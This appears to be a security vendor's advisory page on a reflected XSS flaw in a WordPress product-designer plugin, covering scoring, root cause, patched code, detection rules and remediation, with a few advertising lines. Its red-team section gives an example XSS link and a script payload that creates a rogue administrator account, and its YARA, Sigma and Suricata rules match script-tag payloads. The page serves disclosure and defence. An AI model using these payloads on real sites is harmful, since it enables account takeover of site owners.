CVE-2024-0905
Executive Summary
CVE-2024-0905 is a reflected cross-site scripting (XSS) vulnerability in the Fancy Product Designer WordPress plugin, affecting versions prior to 6.1.8. The plugin fails to sanitize and escape a parameter before outputting it back in the page, allowing an attacker to inject arbitrary JavaScript. This can be exploited against both unauthenticated users and admin-level users, potentially leading to session hijacking, defacement, or credential theft. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium). No public exploit code or nuclei template is available at this time, but the vulnerability is trivial to exploit manually.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. The patch is available in version 6.1.8, which should be applied immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is medium due to the requirement for user interaction (e.g., clicking a crafted link). However, the impact is amplified because the vulnerability can be exploited against admin users, potentially leading to full site compromise.
Deep Dive & Mechanics
The Fancy Product Designer plugin is a WordPress plugin used to create customizable product designs (e.g., for e-commerce). The vulnerability resides in a parameter that is reflected back into the page without proper sanitization or escaping. When a user visits a specially crafted URL, the injected JavaScript executes in the context of the victim's browser.
Root Cause: The plugin uses $_GET or $_REQUEST to retrieve a parameter and directly outputs it into the HTML response without using WordPress's built-in escaping functions like esc_html() or esc_attr(). This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Vector: An attacker crafts a malicious link containing the XSS payload in the vulnerable parameter. The victim (unauthenticated or admin) clicks the link, and the script executes. For admin users, this could lead to privilege escalation, creation of rogue admin accounts, or installation of malicious plugins.
WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack does not involve Apache or Nginx directly; it is purely a PHP/WordPress coding flaw.
Vulnerable vs. Patched Code
Vulnerable Code (before 6.1.8):
<?php
// In some template or function
$param = $_GET['some_param'];
echo '<div class="fpd-param">' . $param . '</div>';
?>
Patched Code (6.1.8):
<?php
// Properly escape the output
$param = isset($_GET['some_param']) ? esc_html($_GET['some_param']) : '';
echo '<div class="fpd-param">' . $param . '</div>';
?>
The patch uses esc_html() to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Manual Exploitation:
- Identify a vulnerable instance of Fancy Product Designer (version < 6.1.8).
- Craft a URL with the XSS payload in the vulnerable parameter. Example:
http://target.com/?page_id=123&fpd_param=<script>alert('XSS')</script> - Send the link to a victim (e.g., via email or social engineering).
- The victim clicks the link, and the script executes in their browser.
Advanced Payload:
<script>
fetch('/wp-admin/admin-ajax.php?action=create_new_user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=create_new_user&user_login=attacker&user_pass=attacker123&role=administrator'
});
</script>
Blue Team (Defender)
Detection:
- Monitor web server logs for requests containing
<script>tags oralert()in query parameters. - Use WAF rules to block common XSS patterns.
- Deploy the detection rules provided in the Detection Engineering section.
Honeypot:
- Set up a decoy WordPress site with the vulnerable plugin and monitor for exploitation attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
fpd_param=or similar parameter names with script tags. - Referer headers from suspicious domains.
- HTTP requests containing
- File IOCs:
- Modified plugin files (e.g.,
fancy-product-designer/*.php) with unexpected content.
- Modified plugin files (e.g.,
- Log IOCs:
- WordPress debug log entries showing
esc_htmlerrors or unescaped output. - Apache/Nginx access logs with
%3Cscript%3E(URL-encoded<script>).
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_0905_Fancy_Product_Designer_XSS {
meta:
description = "Detects reflected XSS attempts against Fancy Product Designer plugin"
author = "Valters IT"
date = "2025-04-07"
reference = "CVE-2024-0905"
strings:
$param1 = "fpd_param="
$param2 = "fpd_design="
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
any of ($param*) and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Fancy Product Designer
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-0905
author: Valters IT
date: 2025-04-07
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'fpd_param='
- 'fpd_design='
cs-uri-query|re: '<script[^>]*>.*</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0905 Fancy Product Designer Reflected XSS"; flow:to_server,established; content:"GET"; http_method; content:"fpd_param="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 6.1.8 or later from the WordPress plugin repository.
- If unable to update immediately, disable the plugin until a patch can be applied.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>tags in query parameters.
Long-term Measures:
- Enforce secure coding practices: always use
esc_html(),esc_attr(), orwp_kses()when outputting user-supplied data. - Conduct regular security audits of all WordPress plugins.
- Subscribe to WordPress security advisories for timely updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.